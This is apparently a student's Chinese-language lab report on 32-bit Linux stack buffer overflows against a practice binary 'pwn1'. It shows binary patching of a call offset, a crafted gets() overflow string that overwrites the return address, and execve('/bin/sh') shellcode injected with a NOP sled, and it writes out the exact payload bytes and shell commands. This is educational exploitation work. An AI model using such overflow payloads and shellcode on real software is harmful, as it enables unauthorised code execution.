热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

linux缓冲区溢出——初体验栈溢出

linux缓冲区溢出——初体验栈溢出实践目标本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输

linux缓冲区溢出——初体验栈溢出

实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

实践内容

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

1 预备知识

linux下的破解自然需要熟悉linux的命令与操作,这里给出一些linux下有关二进制的一些知识。

1.1 汇编语言基础

一些同学已经汇编语言程序设计课程学习过汇编语言了,我们使用的语法是Intel的。而在linux下用gdb和objdump得到的汇编代码的语法是AT&T的(严格来说有些区别),这两者之间存在一些区别。

我们学的还是8086的实模式下的16位汇编语言,还需要了解32位寄存器。这个转换还是比较容易的。

1.1.1 Intel语法与AT&T语法的区别

区别 Intel语法 AT&T语法 备注
源操作数和目的操作数的位置 MOV EAC, ECX movl %ecx, %eax 将ECX的值存入EAX
常量和寄存器的表示 MOV EAX, 12h movl $0x12, %eax 将0x12存入EAX
寻址方式的表示 MOV EAX, [EBX+20h] movl 0x20(%ebx), %eax Intel语法中[base+index * scale+disp]相当于AT&T中的disp(base, index, scale)
MOV EAX, [EBX+ECX * 4h -20h] movl -0x20h(%ebx, %ecx, 0x04),%eax
指令后缀 MOV EAX, dword ptr [EBX] movl (%ebx), %eax

AT&T语法中,指令后缀l, w, b分别对应long, word, byte, 在Intel语法里就是dword ptr, word ptr, byte ptr。

1.1.2 x86寄存器与常用指令

x86处理器有一下的一些通用寄存器:

  • %eax (许多函数的返回值默认存在这个寄存器里)
  • %ebx
  • %ecx
  • %edx
  • %esi
  • %edi

还有几个专用寄存器:

  • %ebp
  • %esp (指向栈顶)
  • %eip (保存下一条指令的地址)
  • %eflag (各种标志位都在这里)

常用汇编指令

指令 机器码 说明 示例
NOP 0x90 空指令,啥也不做
JNE 0x75 条件转移指令,标志位ZF==0 则跳转
JE 0x74 条件转移指令,标志位ZF==1 则跳转
JMP 0xe9 后面是四个字节的偏移量 无条件转移指令
0xeb 后面是两个字节的偏移量
0xff25 后面是四个字节的地址
CMP 比较指令,相当于减法,可以改变标志位
call 0xe8 后面是四个字节的偏移量 函数调用,可以认为是先push下一条指令的地址,再jmp到对应的地址

1.1.3 其他内容

一般来说,我们看到的汇编语言函数的结构是这个样子的:


:
    pushl %ebp
    movl  %esp, %ebp

    subl  4*N, %esp   # N为局部变量个数

    # 函数主体

    leave
    ret

leave指令相当于

    movl %ebp, %esp
    popl %ebp

于是调用函数的时候,看到的汇编语言指令可能是这个样子的


# 函数: 
# 函数参数:   ...

    pushl 
    ...
    ...
    pushl 
    pushl 
    call    # 执行call命令时,会将的地址压栈

:

此时,栈看起来就是这个样子的:


低地址 +-----------------+
|    局部变量2        <---  -8(%ebp)
+-----------------+  
| 局部变量1 <--- -4(%ebp) +-----------------+
| 旧%ebp <--- (%ebp) +-----------------+
| RET地址 <--- 4(%ebp) +-----------------+
| 参数1 <--- 8(%ebp) +-----------------+
| 参数2 <--- 12(%ebp) +-----------------+
| ... ... +-----------------+
| 参数N <--- N*4+4(%ebp) +-----------------+
高地址      

1.2 gdb的常用命令

下面给出常用的几个gdb命令,并不全面。在以后的实验中慢慢学习gdb就可以了,不用强求。

gdb命令 参数 含义 示例
break 地址 设置断点,简写为b,地址类型包括:函数名,行号,*内存地址 break main; break 12; break *0x08048373
run 命令行参数 运行程序,可简写为r
clear 地址 清除断点,与break相反
info break 显示断点信息
continue 继续执行程序
attach 进程号 调试已经运行的程序
quit 退出

1.3 objdump的常见用法

objdump可以快速方便地反编译简单的、未被篡改的二进制文件,它可以读取所有常用的ELF类型的文件。下面给出objdump常见的用法。

  • 查看ELF文件中所有节的数据或代码

    objdump -D

  • 只查看ELF文件中的程序代码

    objdump -d

  • 查看所有符号

    objdump -tT

2 实验过程

2.1 直接修改程序机器指令,改变程序执行流程

2.1.1 思路

第一个实验的思路非常简单,原本的getShell函数是程序中的“死代码”,正常情况下永远也不会执行。
我们通过修改main函数中的call指令,使得原本执行foo函数的程序转而去执行getShell函数。总结下来就是下面两步:

  • 找到getShell函数的位置
  • 修改main函数中,call指令的参数,使得程序调用getShell函数

2.1.2 过程

先用objdump反汇编目标程序,输入指令objdump -d 20155110pwn1 | less

pic2.1

用less分页显示比more更方便,可以像使用vim那样用“/”查找字符串。

然后再看看main函数

pic2.2

我们发现,在main函数中,按照正常流程,call指令会调用foo函数,e8是call指令的机器码,后面跟着四字节的偏移量ff ff ff d7(小端序,补码)。这里的偏移量是怎么求的呢?

call指令在执行时,会EIP当前的值,也就是下一条指令的地址——0x080484ba压栈,然后修改寄存器EIP,EIP+偏移量= 0x080484b + 0xffffffd7 = 0x08048491(32位的有符号数运算),将EIP指向foo函数的起始地址。
我们需要修改call指令的偏移量,根据“目的地址=EIP(call的下一条指令的地址)+偏移量”,新的偏移量 = 0x0804847d(getShell函数的起始地址) - 0x080484ba = 0xffffffc3(补码运算)

接着用十六进制编辑器,或者vim来修改目标程序即可。这里使用vim,输入:%!xxd进入十六进制模式,修改偏移量。

pic2.3

修改后,得到

pic2.4

运行修改后的程序,得到shell

pic2.5

2.2 通过构造输入参数,造成BOF攻击,改变程序执行流

2.2.1 缓冲区在哪?

通过反汇编,观察目标程序20155110pwn1执行流,我们可以看到foo函数中使用了“臭名昭著”的gets函数,由于该函数不会检查用户输入的长度,通过“栈溢出”覆盖栈中保存的RET地址,可以改变程序的执行流。

pic3.1

因此,通过特定的输入构成“栈溢出”,改写栈上的RET地址,是我们的最终目的。

2.2.2 思路与分析

为了确保程序跳转到我们想要执行的getShell代码,我们需要确定下面几件事情:

  • 字符串的长度以及新地址在字符串中的位置
  • 用来覆盖旧地址的新地址的值
  • 字节序

我们先反编译看一下,确定输入字符串缓冲区的大小

pic3.2

从图片中红笔圈起来的部分我们可以看到,foo函数的栈的情况应该是这个样子的:

低地址 +----------------
|-1c(%ebp)的值 <-- (%esp) = -0x38(%ebp) +----------------
|
|
|
+----------------<--  -0x1c(%ebp) = (%eax)
|
| 0x1c字节(28字节)
| 字符串缓冲区    
|
| +----------------
| 旧%ebp(4字节) <-- (%ebp) +----------------
| RET_ARRR(4字节) +----------------
高地址

也就是说,字符串的缓冲区长度为28字节,算上栈里面的EBP和RET_ADDR,至少需要36字节长度的字符串(实验指导中是37字节长,因为最后一个字节是回车),我们要覆盖的地址从字符串的第33个字节开始,到第36个字节结束。前32个字节随意填充即可。

我们用gdb来验证一下,构造字符串11111111222222223333333344444444ABCD前32字节是数字,后面4字节准备用来覆盖返回地址,我们看一下是不是符合预期。

pic3.3

然后运行程序,出现“段错误”,再看一下此时EIP的内容。

pic3.4

EIP的值是“DCBA”的ASCII码,说明我们构造的字符串的结构是正确的!

这里的字节序是小端序,getShell的地址是0x0804847d,放置在字符串中,就是\x7d\x84\x04\x08

最后我们可以确定构造的字符串为11111111222222223333333344444444\x7d\x84\x04\x08(也可以在最后加一个回车,就是11111111222222223333333344444444\x7d\x84\x04\x08\x0a

然后我们就要想办法把这个字符串输入到目标程序20155110pwn1中去。

2.2.3 攻击过程

这里最重要的问题就是:如何将含有十六进制地址的字符串输入目标程序,我们显然无法从键盘输入。

答案是:结合Shell内建的printf函数和管道(实验指导的做法和我的不同,但是目的是一样的)

我们看一下第一次尝试的效果,输入printf "11111111222222223333333344444444\x7d\x84\x04\x08" | ./20155110pwn1

pic3.5

得到了一个“段错误”,居然失败了!

然后就是这次实验我始终不明白的地方,为什么通过子shell的组合命令就能成功呢?

输入(printf "11111111222222223333333344444444\x7d\x84\x04\x08; cat)" | ./20155110pwn1再手动按下回车键:

pic3.6

就好像中了魔法一样,这次居然成功了!字符串的构造应该没有问题,为什么后者可以成功,前者无法成功呢?我至今没有搞明白。

当然,将字符串送入目标程序的方法不只一个,最近正好在学习shell,顺便秀一下操作。

11111111222222223333333344444444\x7d\x84\x04\x08\x0a放到一个文本文件text当中:

pic3.7

然后用命令替换结合管道将字符串送入目标程序20155110pwn1,输入(printf $(cat text); cat) | 20155110pwn1:

pic3.8

注:不用perl也达到相同的效果:

# printf "11111111222222223333333344444444\x7d\x84\x04\x08\x0a" > input
# (cat input; cat) | 20155110pwn1

pic3.9

这个实验本身也没难度,写了这么多,只是为了熟悉一下shell的用法,IO重定向,管道而已。

2.3 注入shellcode并执行

根据诸葛建伟老师的说法,精心构造的缓冲区溢出攻击,需要解决三个问题:

  • 如何找出要覆盖和修改的敏感位置?
  • 将敏感位置的值修改成什么?如何完成程序控制权的移交是渗透攻击中最重要的挑战。
  • 执行什么指令来达到攻击的目的?这段攻击代码被称为攻击的payload,这里是一个Shellcode。

第一个问题已经解决了——我们已经在之前的实验中知道了foo函数RET在栈中的位置。
第三个问题我们暂时不必操心,那现成的shellcode过来用就可以了(自己编写shellcode又可以写一篇报告了)

我们需要解决第二个问题。

2.3.1 思路

Linux攻击平台的栈溢出的常见攻击模式有三种:NSR, RNS和RS。

NSR模式

NSR模式主要适用于缓冲区比较大的情况,攻击数据从低到高依次是NOP垫,shellcode填充,覆盖RET返回地址

低地址 +-------------
| NOP +-------------
| NOP +-------------
| ... +-------------
| NOP +-------------
|
| shellcode
| +-------------
| RET +-------------
| ... +-------------
高地址
RNS模式

RNS模式一般用于被溢出的变量比较小,不足以容纳shellcode的情况。攻击数据从低到高依次是一些RET期望值,NOP着陆区,最后才是shellcode

低地址 +-------------
| RET +-------------
| ... +-------------
| RET +-------------
| NOP +-------------
| NOP +-------------
| ... +-------------
| NOP +-------------
|
| shellcode
| +-------------
高地址

这次实验的攻击模式就是RNS模式。

RS模式

这种模式下能精确定位shellcode在目标漏洞程序中的起始地址,它需要将shellcode放在目标漏洞程序执行时的环境变量中,无须引入NOP着陆区,这里就不再赘述。

2.3.2 预备工作

我们选择使用RNS攻击模式,根据实验二得到的堆栈情况——28字节的字符串缓冲区、4字节的旧EBP,要构造的攻击数据应该是这个结构:

<32字节任意数据> + <4字节 RET覆盖地址> + +

先把RNS模式做好

\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00

前面的32字节数据全部用0填充就可以了,\x4\x3\x2\x1是存放覆盖RET地址的位置。

输入命令

(printf "%032x"; printf "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00") > RNS
把这段字符串先存到文本文件RNS中。

pic4.1

然后用gdb调试目标程序,确定覆盖RET地址的值。

pic4.2

在foo函数的RET位置设置断点。

pic4.3

然后运行程序,在断点处暂停后,查看栈的情况。

pic4.4

NOP垫的开始地址是0xffffd3c0,修改\x4\x3\x2\x1\xc0\xd3\xff\xff

pic4.5

2.3.3 攻击过程

接下来就是激动人心的时刻,输入(cat RNS; cat) | ./20155110pwn1,在按下回车键:

pic4.6

成功得到本地shell。

2.3.3 疑问

同时开启两个终端,输入同样的命令,所得到的结果居然不一样!!

pic4.7

左边可以成功得到本地shell,而右边却得到了一个“段错误”。

我觉得是栈发生了变化,cp RNS RNS.new,然后通过gdb调试右边终端的目标程序20155110pwn1。

pic4.8

然后我们发现地址真的发生了变化!!

pic4.9

修改RNS.new的覆盖地址,改成0xffffd3d0

pic4.10

这样右边的终端才能成功获得shell。

实验感想与收获

在做这次实验之前,我参考了《黑客攻防技术宝典 系统实战篇》的第2章的“栈溢出”内容,原理虽然已经比较清楚了,但这边书的具体操作和老师给出的实验指导有一些区别,比如

这次实验的(cat input; cat) | ./pwn1可以成功获得本地shell。理论上说,用cat input | ./pwn1就可以修改EIP达到目的(书里的做法也没有用到(cmd1; cmd2;...)这种子shell作为pwn1的输入),但是用于这次实验却只能得到一个“段错误”,。

我到现在为止都不知道为啥会这样。

尽管是简单的实验,但还是有一些遗憾,比如NOP着陆区没有被充分利用,导致开启第二个终端后,输入同样的字符串只得到了“段错误”,还得重新计算地址,NOP垫的作用完全没有发挥。

总而言之,这次实验的性质只是过家家,离幻想中黑客那种高超技术还远着呢。


推荐阅读
  • Mono为何能跨平台
    概念JIT编译(JITcompilation),运行时需要代码时,将Microsoft中间语言(MSIL)转换为机器码的编译。CLR(CommonLa ... [详细]
  • 开发笔记:对称加密详解,以及JAVA简单实现
     (原)常用的加密有3种1、正向加密,如MD5,加密后密文固定,目前还没办法破解,但是可以能过数据库撞库有一定概率找到,不过现 ... [详细]
  • Android中高级面试必知必会,积累总结
    本文介绍了Android中高级面试的必知必会内容,并总结了相关经验。文章指出,如今的Android市场对开发人员的要求更高,需要更专业的人才。同时,文章还给出了针对Android岗位的职责和要求,并提供了简历突出的建议。 ... [详细]
  • Java String与StringBuffer的区别及其应用场景
    本文主要介绍了Java中String和StringBuffer的区别,String是不可变的,而StringBuffer是可变的。StringBuffer在进行字符串处理时不生成新的对象,内存使用上要优于String类。因此,在需要频繁对字符串进行修改的情况下,使用StringBuffer更加适合。同时,文章还介绍了String和StringBuffer的应用场景。 ... [详细]
  • C++字符字符串处理及字符集编码方案
    本文介绍了C++中字符字符串处理的问题,并详细解释了字符集编码方案,包括UNICODE、Windows apps采用的UTF-16编码、ASCII、SBCS和DBCS编码方案。同时说明了ANSI C标准和Windows中的字符/字符串数据类型实现。文章还提到了在编译时需要定义UNICODE宏以支持unicode编码,否则将使用windows code page编译。最后,给出了相关的头文件和数据类型定义。 ... [详细]
  • Java中包装类的设计原因以及操作方法
    本文主要介绍了Java中设计包装类的原因以及操作方法。在Java中,除了对象类型,还有八大基本类型,为了将基本类型转换成对象,Java引入了包装类。文章通过介绍包装类的定义和实现,解答了为什么需要包装类的问题,并提供了简单易用的操作方法。通过本文的学习,读者可以更好地理解和应用Java中的包装类。 ... [详细]
  • 先看官方文档TheJavaTutorialshavebeenwrittenforJDK8.Examplesandpracticesdescribedinthispagedontta ... [详细]
  • JDK源码学习之HashTable(附带面试题)的学习笔记
    本文介绍了JDK源码学习之HashTable(附带面试题)的学习笔记,包括HashTable的定义、数据类型、与HashMap的关系和区别。文章提供了干货,并附带了其他相关主题的学习笔记。 ... [详细]
  • Java SE从入门到放弃(三)的逻辑运算符详解
    本文详细介绍了Java SE中的逻辑运算符,包括逻辑运算符的操作和运算结果,以及与运算符的不同之处。通过代码演示,展示了逻辑运算符的使用方法和注意事项。文章以Java SE从入门到放弃(三)为背景,对逻辑运算符进行了深入的解析。 ... [详细]
  • ***byte(字节)根据长度转成kb(千字节)和mb(兆字节)**parambytes*return*publicstaticStringbytes2kb(longbytes){ ... [详细]
  • 本文整理了315道Python基础题目及答案,帮助读者检验学习成果。文章介绍了学习Python的途径、Python与其他编程语言的对比、解释型和编译型编程语言的简述、Python解释器的种类和特点、位和字节的关系、以及至少5个PEP8规范。对于想要检验自己学习成果的读者,这些题目将是一个不错的选择。请注意,答案在视频中,本文不提供答案。 ... [详细]
  • 本文详细介绍了使用C#实现Word模版打印的方案。包括添加COM引用、新建Word操作类、开启Word进程、加载模版文件等步骤。通过该方案可以实现C#对Word文档的打印功能。 ... [详细]
  • 使用C++编写程序实现增加或删除桌面的右键列表项
    本文介绍了使用C++编写程序实现增加或删除桌面的右键列表项的方法。首先通过操作注册表来实现增加或删除右键列表项的目的,然后使用管理注册表的函数来编写程序。文章详细介绍了使用的五种函数:RegCreateKey、RegSetValueEx、RegOpenKeyEx、RegDeleteKey和RegCloseKey,并给出了增加一项的函数写法。通过本文的方法,可以方便地自定义桌面的右键列表项。 ... [详细]
  • ejava,刘聪dejava
    本文目录一览:1、什么是Java?2、java ... [详细]
  • 深入理解计算机系统之链接(一)
    程序是怎样运行的写好的c程序怎样运行的呢?答案是一个写好的程序要先经过语言预处理器,编译器,汇编器和链接器生成最后的可执行文件,然后加载器将可执行文件加载到内存中才能运行。这里以一 ... [详细]
author-avatar
小熊2502872357
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有